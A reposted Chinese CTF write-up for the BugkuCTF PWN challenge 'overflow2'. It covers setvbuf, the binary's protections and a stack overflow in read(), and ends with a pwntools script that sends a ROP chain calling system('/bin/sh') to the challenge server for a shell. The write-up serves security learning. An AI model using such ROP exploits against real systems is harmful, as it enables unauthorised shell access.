BugkuCTF-PWN题pwn5-overflow2超详细讲解
生活随笔
收集整理的這篇文章主要介紹了
BugkuCTF-PWN题pwn5-overflow2超详细讲解
小編覺得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.
知識點(diǎn)
setvbuf:
setvbuf函數(shù)的功能:
如果你的內(nèi)存足夠大,可以把文件IO的BUF設(shè)置大一些,這樣每次你用
fopen/fread/fwrite/fscanf/fprintf語句的時(shí)候,都會在內(nèi)存里操作,減少內(nèi)存到磁盤IO讀寫的操作次數(shù),提高系統(tǒng)效率。
如果你的程序的功能涉及到類似數(shù)據(jù)庫、視頻、音頻、圖像處理等大量需要爆發(fā)式磁盤到內(nèi)存的IO情況下,可以考慮setvbuf進(jìn)行優(yōu)化內(nèi)存IO。
功 能: 把緩區(qū)與流相關(guān)
解題流程
查看保護(hù)機(jī)制
發(fā)現(xiàn)開啟了RELRO,NX
只能通過ROP繞過
IDA打開,查看偽碼:
0x20=32
0x100=256
read()函數(shù)存在棧溢出,查看棧結(jié)構(gòu)
構(gòu)造rop鏈
system函數(shù)的地址是0x401050
exp
from pwn import * #sh = process('./pwn') sh = remote('114.67.246.176',12246)sh.recvuntil('Please Input your name')pop_rdi_ret = 0x40126b system_addr = 0x401050 binsh_addr = 0x402004payload = b'a' * 32 + p64(1) + p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr) sh.send(payload) sh.interactive()總結(jié)
以上是生活随笔為你收集整理的BugkuCTF-PWN题pwn5-overflow2超详细讲解的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: jq之slideToggle
- 下一篇: BugkuCTF-MISC题红绿灯